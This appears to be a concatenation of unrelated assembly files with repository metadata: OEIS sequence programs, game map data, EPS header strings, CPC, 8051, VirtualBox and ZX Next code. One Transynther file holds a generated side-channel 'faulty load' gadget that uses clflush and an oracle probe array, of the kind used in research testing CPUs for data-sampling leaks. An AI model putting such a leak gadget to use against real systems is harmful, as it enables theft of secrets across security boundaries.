; A196361: Decimal expansion of the absolute minimum of cos(t) + cos(2t) + cos(3t). ; Submitted by Jon Maiga ; 1,3,1,5,5,6,5,1,5,4,7,2,0,4,4,9,4,1,2,3,5,2,2,7,0,7,5,0,9,4,3,5,1,1,9,6,2,2,2,1,1,7,8,3,0,6,7,2,5,0,7,9,6,7,6,3,9,1,7,9,0,4,1,5,3,4,8,4,2,5,2,5,0,4,6,7,1,1,0,5,7,0,1,6,0,1,0,1,8,5,9,4,5,6,3,6,3,1,5 mov $2,1 mov $3,$0 mul $3,4 lpb $3 add $5,$2 div $2,18 mov $1,$2 add $1,$5 add $2,$1 mul $1,2 add $2,$1 sub $3,1 lpe mov $1,1 add $1,$5 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
20.076923
199
0.54023
ea84090c8d755cba92b17a7fac2218da21cf4eb8
171
asm
Assembly
data/maps/headers/Route5.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/maps/headers/Route5.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/maps/headers/Route5.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
map_header Route5, ROUTE_5, OVERWORLD, NORTH | SOUTH connection north, CeruleanCity, CERULEAN_CITY, -5 connection south, SaffronCity, SAFFRON_CITY, -5 end_map_header
28.5
53
0.795322
04c3da1cb24b8bec654ccfc7b7e5727b2d12e0ac
3,454
asm
Assembly
Library/Trans/Graphics/Vector/EPS/Export/exportComments.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Trans/Graphics/Vector/EPS/Export/exportComments.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Trans/Graphics/Vector/EPS/Export/exportComments.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: PostScript Translation Library FILE: exportComments.asm AUTHOR: Jim DeFrisco, 14 Feb 1991 REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 2/91 Initial revision DESCRIPTION: This file contains the comments that go in the front of the file according to the Adobe's Document Structuring Conventions for EPS files. These comments are in lmem chunks to make it east to add the parameters that follow them. $Id: exportComments.asm,v 1.1 97/04/07 11:25:27 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PSCode segment resource ;startDSC label char ;---------------------------------------------------------------------- ; Header ;---------------------------------------------------------------------- printFileID char "%!PS-Adobe-3.0", NL epsFileID char "%!PS-Adobe-3.0 EPSF-3.0", NL boundBox char "%%BoundingBox: " creatorComment char "%%Creator: " creationDate char "%%CreationDate: " docData char "%%DocumentData: Clean7Bit", NL level2 char "%%LanguageLevel: 2", NL extensionKey char "%%Extensions:" cmykSupport char " CMYK" dpsSupport char " DPS" compositeSupport char " Composite" fileSupport char " FileSystem" orientPortrait char "%%Orientation: Portrait", NL orientLandscape char "%%Orientation: Landscape", NL numPages char "%%Pages: " atendToken char "(atend)", NL ascendOrder char "%%PageOrder: Ascend", NL descendOrder char "%%PageOrder: Descend", NL requirements char "%%Requirements: numcopies(" reqCollate char " collate", NL titleComment char "%%Title: " endComments char "%%EndComments",NL ForceRef orientPortrait ForceRef orientLandscape ForceRef atendToken ;---------------------------------------------------------------------- ; General Body Comments ;---------------------------------------------------------------------- lineContinue char "%%+ " beginPreview char "%%BeginPreview: " endPreview char "%%EndPreview", NL beginObject char "%%BeginObject: " endObject char "%%EndObject", NL ForceRef lineContinue ForceRef beginPreview ForceRef endPreview ForceRef beginObject ForceRef endObject lineObject char " Stroke", NL ; these object names should areaObject char " Filled", NL ; remain the same size bitmapObject char " Bitmap", NL textObject char " String", NL ;---------------------------------------------------------------------- ; Document Setup ;---------------------------------------------------------------------- ;beginPSSetup label byte endProlog char "%%EndProlog", NL beginSetup char "%%BeginSetup", NL endSetup char "%%EndSetup", NL ;endPSSetup label byte ;---------------------------------------------------------------------- ; Pages ;---------------------------------------------------------------------- pageNumber char "%%Page: " beginPageSetup char "%%BeginPageSetup", NL endPageSetup char "%%EndPageSetup", NL pageTrailer char "%%PageTrailer", NL ;---------------------------------------------------------------------- ; Document Trailer ;---------------------------------------------------------------------- epsTrailer char "%%Trailer", NL, "%%EOF", NL printTrailer char "%%Trailer", NL, C_CTRL_D PSCode ends
29.02521
79
0.532716
50d6befc1d74e2299e74463d5e23f7ae87b470cd
412
asm
Assembly
programs/oeis/168/A168276.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/168/A168276.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/168/A168276.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A168276: a(n) = 2*n - (-1)^n - 1. ; 2,2,6,6,10,10,14,14,18,18,22,22,26,26,30,30,34,34,38,38,42,42,46,46,50,50,54,54,58,58,62,62,66,66,70,70,74,74,78,78,82,82,86,86,90,90,94,94,98,98,102,102,106,106,110,110,114,114,118,118,122,122,126,126,130,130,134,134,138,138,142,142,146,146,150,150,154,154,158,158,162,162,166,166,170,170,174,174,178,178,182,182,186,186,190,190,194,194,198,198 div $0,2 mul $0,4 add $0,2
58.857143
347
0.667476
98e086c37968ff5ed0434dd788d36fb128d0a437
5,991
asm
Assembly
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_1632.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_1632.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_1632.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xeba3, %r15 nop nop nop and $21610, %r8 movl $0x61626364, (%r15) nop nop xor $10569, %rdx lea addresses_D_ht+0x1b877, %rsi lea addresses_WC_ht+0x1d2a3, %rdi dec %r12 mov $75, %rcx rep movsl nop dec %rdi lea addresses_WC_ht+0x1efa3, %rsi clflush (%rsi) sub $39247, %rdx mov (%rsi), %di nop nop nop sub $53545, %r12 lea addresses_WC_ht+0x162a3, %rdx xor %rdi, %rdi mov (%rdx), %ecx nop nop nop nop and $51034, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r9 push %rax push %rcx push %rdi // Store lea addresses_normal+0x13343, %r13 nop nop nop add %r15, %r15 movb $0x51, (%r13) nop xor %rcx, %rcx // Store mov $0xaa3, %rcx clflush (%rcx) nop nop nop xor %rax, %rax mov $0x5152535455565758, %r14 movq %r14, (%rcx) nop nop nop nop add %rdi, %rdi // Store lea addresses_WC+0x168f, %rcx nop nop nop add %rdi, %rdi movb $0x51, (%rcx) nop xor $6029, %r14 // Store lea addresses_WC+0x17aa3, %r15 sub $22325, %r13 movb $0x51, (%r15) nop nop nop sub $52404, %r14 // Store mov $0x6310fb00000009a3, %rdi nop nop xor %rax, %rax movl $0x51525354, (%rdi) nop cmp $31811, %r14 // Faulty Load lea addresses_WC+0x1daa3, %rcx nop nop xor $61302, %r9 mov (%rcx), %rdi lea oracles, %rcx and $0xff, %rdi shlq $12, %rdi mov (%rcx,%rdi,1), %rdi pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': True}} {'51': 21829} 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 */
39.414474
2,999
0.652145
9fc66b007a0ae76909244ab7b019e12774c026ec
555
asm
Assembly
libsrc/cpc/cpc_SetInkGphStr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/cpc/cpc_SetInkGphStr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/cpc/cpc_SetInkGphStr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
; ; Amstrad CPC library ; (CALLER linkage for function pointers) ; ; void __LIB__ cpc_SetInkGphStr(char *color, char *valor); ; ; $Id: cpc_SetInkGphStr.asm $ ; SECTION code_clib PUBLIC cpc_SetInkGphStr PUBLIC _cpc_SetInkGphStr EXTERN cpc_SetInkGphStr_callee EXTERN ASMDISP_CPC_SET_INKGPHSTR_CALLEE .cpc_SetInkGphStr ._cpc_SetInkGphStr ld ix,2 add ix,sp ld a,(ix+2) ;valor ld c,(ix+0) ;color jp cpc_SetInkGphStr_callee + ASMDISP_CPC_SET_INKGPHSTR_CALLEE
21.346154
69
0.661261
6b7bc7d2320eafc96f24615ab31729889770700c
459
asm
Assembly
oeis/132/A132818.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/132/A132818.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/132/A132818.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A132818: The matrix product A127773 * A001263 of infinite lower triangular matrices. ; Submitted by Christian Krause ; 1,3,3,6,18,6,10,60,60,10,15,150,300,150,15,21,315,1050,1050,315,21,28,588,2940,4900,2940,588,28,36,1008,7056,17640,17640,7056,1008,36,45,1620,15120,52920,79380,52920,15120,1620,45,55,2475,29700,138600,291060 lpb $0 add $2,1 sub $0,$2 lpe add $0,1 add $2,1 mov $1,$2 bin $1,$0 add $2,1 bin $2,$0 mul $1,$2 mul $0,$1 mul $0,2 div $0,4
24.157895
209
0.699346
7884c93e69ee5f193f4c7b1ebb354b8380fb1a1a
793
asm
Assembly
8051/21-26Proteous/24Steppermotor/stepmoantic.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
1
2022-01-01T11:27:43.000Z
2022-01-01T11:27:43.000Z
8051/21-26Proteous/24Steppermotor/stepmoantic.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
null
null
null
8051/21-26Proteous/24Steppermotor/stepmoantic.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
null
null
null
ORG 00H MAIN: MOV A,#09H ;Move ‘09’ to register A MOV P2,A ;Content of A register is moved to port 2 ACALL DELAY ;Call delay routine MOV A,#03H ;Move ‘03’ to register A MOV P2,A ;Content of register A is moved to port 2 ACALL DELAY ;Call delay routine MOV A,#06H ;Move ‘06’ to register A MOV P2,A ;Content of register A is moved to port 2 ACALL DELAY ; Call delay routine MOV A,#0CH ; Move ‘0C’ to register A MOV P2,A ;Content of A register is moved to port 2 ACALL DELAY ; Call delay routine SJMP MAIN DELAY: MOV R3,08H ;Delay routine UP2:MOV R2,#0FFH UP1:MOV R1,#0FFH HERE:DJNZ R1,HERE DJNZ R2,UP1 DJNZ R3,UP2 RET END
31.72
65
0.576293
4c4cd3e95b1d76dbb5fd988481f9a01fc03ea2e9
1,141
asm
Assembly
programs/oeis/266/A266542.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/266/A266542.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/266/A266542.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A266542: Number of n X 3 binary arrays with rows and columns lexicographically nondecreasing and row and column sums nonincreasing. ; 2,3,5,6,8,11,13,16,20,23,27,32,36,41,47,52,58,65,71,78,86,93,101,110,118,127,137,146,156,167,177,188,200,211,223,236,248,261,275,288,302,317,331,346,362,377,393,410,426,443,461,478,496,515,533,552,572,591,611,632,652,673,695,716,738,761,783,806,830,853,877,902,926,951,977,1002,1028,1055,1081,1108,1136,1163,1191,1220,1248,1277,1307,1336,1366,1397,1427,1458,1490,1521,1553,1586,1618,1651,1685,1718,1752,1787,1821,1856,1892,1927,1963,2000,2036,2073,2111,2148,2186,2225,2263,2302,2342,2381,2421,2462,2502,2543,2585,2626,2668,2711,2753,2796,2840,2883,2927,2972,3016,3061,3107,3152,3198,3245,3291,3338,3386,3433,3481,3530,3578,3627,3677,3726,3776,3827,3877,3928,3980,4031,4083,4136,4188,4241,4295,4348,4402,4457,4511,4566,4622,4677,4733,4790,4846,4903,4961,5018,5076,5135,5193,5252,5312,5371,5431,5492,5552,5613,5675,5736,5798,5861,5923,5986,6050,6113,6177,6242,6306,6371,6437,6502,6568,6635,6701,6768,6836,6903,6971,7040,7108,7177,7247,7316,7386,7457 add $0,3 bin $0,2 add $0,14 div $0,3 mov $1,$0 sub $1,3
114.1
949
0.770377
7f1e81edadcf6a4a7dfe76fe71243345cc2fc850
7,282
asm
Assembly
vbox/src/VBox/ValidationKit/bootsectors/bs3kit/bs3-mode-SwitchToPAE16.asm
Nurzamal/rest_api_docker
a9cc01dfc235467d490d9663755b33ef6990bdd8
[ "MIT" ]
null
null
null
vbox/src/VBox/ValidationKit/bootsectors/bs3kit/bs3-mode-SwitchToPAE16.asm
Nurzamal/rest_api_docker
a9cc01dfc235467d490d9663755b33ef6990bdd8
[ "MIT" ]
null
null
null
vbox/src/VBox/ValidationKit/bootsectors/bs3kit/bs3-mode-SwitchToPAE16.asm
Nurzamal/rest_api_docker
a9cc01dfc235467d490d9663755b33ef6990bdd8
[ "MIT" ]
null
null
null
; $Id: bs3-mode-SwitchToPAE16.asm 69111 2017-10-17 14:26:02Z vboxsync $ ;; @file ; BS3Kit - Bs3SwitchToPAE16 ; ; ; Copyright (C) 2007-2017 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ; The contents of this file may alternatively be used under the terms ; of the Common Development and Distribution License Version 1.0 ; (CDDL) only, as it comes in the "COPYING.CDDL" file of the ; VirtualBox OSE distribution, in which case the provisions of the ; CDDL are applicable instead of those of the GPL. ; ; You may elect to license modified versions of this file under the ; terms and conditions of either the GPL or the CDDL or both. ; ;********************************************************************************************************************************* ;* Header Files * ;********************************************************************************************************************************* %include "bs3kit-template-header.mac" ;********************************************************************************************************************************* ;* External Symbols * ;********************************************************************************************************************************* %ifndef TMPL_PAE16 BS3_BEGIN_TEXT16 extern NAME(Bs3EnteredMode_pae16) %ifdef TMPL_PAE32 BS3_EXTERN_CMN Bs3SwitchTo16Bit %endif TMPL_BEGIN_TEXT %endif ;; ; Switch to 16-bit paged protected mode from any other mode. ; ; @cproto BS3_DECL(void) Bs3SwitchToPAE16(void); ; ; @uses Nothing (except high 32-bit register parts). ; ; @remarks Obviously returns to 16-bit mode, even if the caller was ; in 32-bit or 64-bit mode. ; ; @remarks Does not require 20h of parameter scratch space in 64-bit mode. ; %if TMPL_BITS == 16 BS3_GLOBAL_NAME_EX TMPL_NM(Bs3SwitchToPAE16_Safe), function , 0 %endif BS3_PROC_BEGIN_MODE Bs3SwitchToPAE16, BS3_PBC_NEAR %ifdef TMPL_PAE16 extern BS3_CMN_NM(Bs3SwitchToRing0) call BS3_CMN_NM(Bs3SwitchToRing0) push ax mov ax, BS3_SEL_R0_DS16 mov ds, ax mov es, ax pop ax ret %elif BS3_MODE_IS_V86(TMPL_MODE) ; ; V8086 - Switch to 16-bit ring-0 and call worker for that mode. ; extern BS3_CMN_NM(Bs3SwitchToRing0) call BS3_CMN_NM(Bs3SwitchToRing0) extern %[BS3_MODE_R0_NM_ %+ TMPL_MODE](Bs3SwitchToPAE16) jmp %[BS3_MODE_R0_NM_ %+ TMPL_MODE](Bs3SwitchToPAE16) %else ; ; Switch to 16-bit text segment and prepare for returning in 16-bit mode. ; %if TMPL_BITS != 16 shl xPRE [xSP], TMPL_BITS - 16 ; Adjust the return address. add xSP, xCB - 2 ; Must be in 16-bit segment when calling Bs3SwitchToRM and Bs3SwitchTo16Bit. jmp .sixteen_bit_segment BS3_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .sixteen_bit_segment %endif %ifdef TMPL_PAE32 ; ; No need to go to real-mode here, we use the same CR3 and stuff. ; Just switch to 32-bit mode and call the Bs3EnteredMode routine to ; load the right descriptor tables. ; call Bs3SwitchTo16Bit BS3_SET_BITS 16 call NAME(Bs3EnteredMode_pae16) ret %else ; ; Switch to real mode. ; extern TMPL_NM(Bs3SwitchToRM) call TMPL_NM(Bs3SwitchToRM) BS3_SET_BITS 16 push eax push ecx pushfd ; ; Get the page directory (returned in eax). ; Will lazy init page tables (in 16-bit prot mode). ; extern NAME(Bs3PagingGetRootForPAE16_rm) call NAME(Bs3PagingGetRootForPAE16_rm) cli mov cr3, eax ; ; Make sure PAE, PSE, and VME are enabled (former two require pentium pro, latter 486). ; mov eax, cr4 mov ecx, eax or eax, X86_CR4_PAE | X86_CR4_PSE | X86_CR4_VME cmp eax, ecx je .cr4_is_fine mov cr4, eax .cr4_is_fine: ; ; Load the GDT and enable PP16. ; BS3_EXTERN_SYSTEM16 Bs3LgdtDef_Gdt BS3_EXTERN_SYSTEM16 Bs3Lgdt_Gdt BS3_BEGIN_TEXT16 mov ax, BS3SYSTEM16 mov ds, ax lgdt [Bs3LgdtDef_Gdt] ; Will only load 24-bit base! mov eax, cr0 or eax, X86_CR0_PE | X86_CR0_PG mov cr0, eax jmp BS3_SEL_R0_CS16:.reload_cs_and_stuff .reload_cs_and_stuff: ; ; Convert the (now) real mode stack to 16-bit. ; mov ax, .stack_fix_return extern NAME(Bs3ConvertRMStackToP16UsingCxReturnToAx_c16) jmp NAME(Bs3ConvertRMStackToP16UsingCxReturnToAx_c16) .stack_fix_return: ; ; Call rountine for doing mode specific setups. ; call NAME(Bs3EnteredMode_pae16) ; ; Load full 32-bit GDT base address from 32-bit segment. ; push ds mov ax, BS3_SEL_SYSTEM16 mov ds, ax jmp dword BS3_SEL_R0_CS32:.load_full_gdt_base wrt FLAT .load_full_gdt_base: BS3_SET_BITS 32 lgdt [Bs3Lgdt_Gdt wrt BS3SYSTEM16] jmp BS3_SEL_R0_CS16:.back_to_16bit .back_to_16bit: BS3_SET_BITS 16 pop ds popfd pop ecx pop eax ret %endif ; !TMPL_PP32 %if TMPL_BITS != 16 TMPL_BEGIN_TEXT %endif %endif BS3_PROC_END_MODE Bs3SwitchToPAE16 %if TMPL_BITS == 16 ;; ; Custom far stub. BS3_BEGIN_TEXT16_FARSTUBS BS3_PROC_BEGIN_MODE Bs3SwitchToPAE16, BS3_PBC_FAR inc bp push bp mov bp, sp ; Call the real thing. call TMPL_NM(Bs3SwitchToPAE16) %if BS3_MODE_IS_RM_OR_V86(TMPL_MODE) ; Jmp to common code for the tedious conversion. BS3_EXTERN_CMN Bs3SwitchHlpConvRealModeRetfPopBpDecBpAndReturn jmp Bs3SwitchHlpConvRealModeRetfPopBpDecBpAndReturn %else pop bp dec bp retf %endif BS3_PROC_END_MODE Bs3SwitchToPAE16 %else ;; ; Safe far return to non-BS3TEXT16 code. BS3_EXTERN_CMN Bs3SwitchHlpConvFlatRetToRetfProtMode BS3_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_PROC_BEGIN_MODE Bs3SwitchToPAE16_Safe, BS3_PBC_NEAR call Bs3SwitchHlpConvFlatRetToRetfProtMode ; Special internal function. Uses nothing, but modifies the stack. call TMPL_NM(Bs3SwitchToPAE16) BS3_SET_BITS 16 retf BS3_PROC_END_MODE Bs3SwitchToPAE16_Safe %endif
31.119658
130
0.586103
f60ff1ad47b81f27fa1ddda2f529e17f9ac66e50
17,396
asm
Assembly
nexload/nexload-jim.asm
Threetwosevensixseven/NexCreator
89b4be61a2e6300342679d8491e9e253ef3aa6e6
[ "MIT" ]
7
2019-12-19T09:01:22.000Z
2021-11-15T21:49:48.000Z
nexload/nexload-jim.asm
Threetwosevensixseven/NexCreator
89b4be61a2e6300342679d8491e9e253ef3aa6e6
[ "MIT" ]
null
null
null
nexload/nexload-jim.asm
Threetwosevensixseven/NexCreator
89b4be61a2e6300342679d8491e9e253ef3aa6e6
[ "MIT" ]
1
2021-04-27T01:51:39.000Z
2021-04-27T01:51:39.000Z
;------------------------------- ; .nexload ; © Jim Bagley 2018 ;------------------------------- device zxspectrum48 ;------------------------------- ; DEFINE testing ; DEFINE testing8000 ; define this to test just loading images ; offset ;size HEADER_NEXT = 0 ;4 HEADER_VERSION = 4 ;4 HEADER_RAMREQ = 8 ;1 HEADER_NUMBANKS = 9 ;1 HEADER_LOADSCR = 10 ;1 HEADER_BORDERCOL = 11 ;1 HEADER_SP = 12 ;2 HEADER_PC = 14 ;2 HEADER_NUMFILES = 16 ;2 HEADER_BANKS = 18 ;48+64 HEADER_LOADBAR = 130 ;1 HEADER_LOADCOL = 131 ;1 HEADER_LOADDEL = 132 ;1 HEADER_STARTDEL = 133 ;1 HEADER_DONTRESETNEXTREGS = 134 ;1 HEADER_CORE_MAJOR = 135 ;1 HEADER_CORE_MINOR = 136 ;1 HEADER_CORE_SUBMINOR = 137 ;1 HEADER_HIRESCOL = 138 ;1 // if non zero is to be LAYER_2_PAGE = 9 LAYER_2_PAGE_0 = 9 LAYER_2_PAGE_1 = 10 LAYER_2_PAGE_2 = 11 M_GETSETDRV equ $89 F_OPEN equ $9a F_CLOSE equ $9b F_READ equ $9d F_WRITE equ $9e F_SEEK equ $9f F_GET_DIR equ $a8 F_SET_DIR equ $a9 FA_READ equ $01 FA_APPEND equ $06 FA_OVERWRITE equ $0E TURBO_CONTROL_REGISTER equ $07 ;Turbo mode 0=3.5Mhz, 1=7Mhz, 2=14Mhz SPRITE_CONTROL_REGISTER equ $15 ;Enables/disables Sprites and Lores Layer, and chooses priority of sprites and Layer 2. PALETTE_INDEX_REGISTER equ $40 ;Chooses a ULANext palette number to configure. 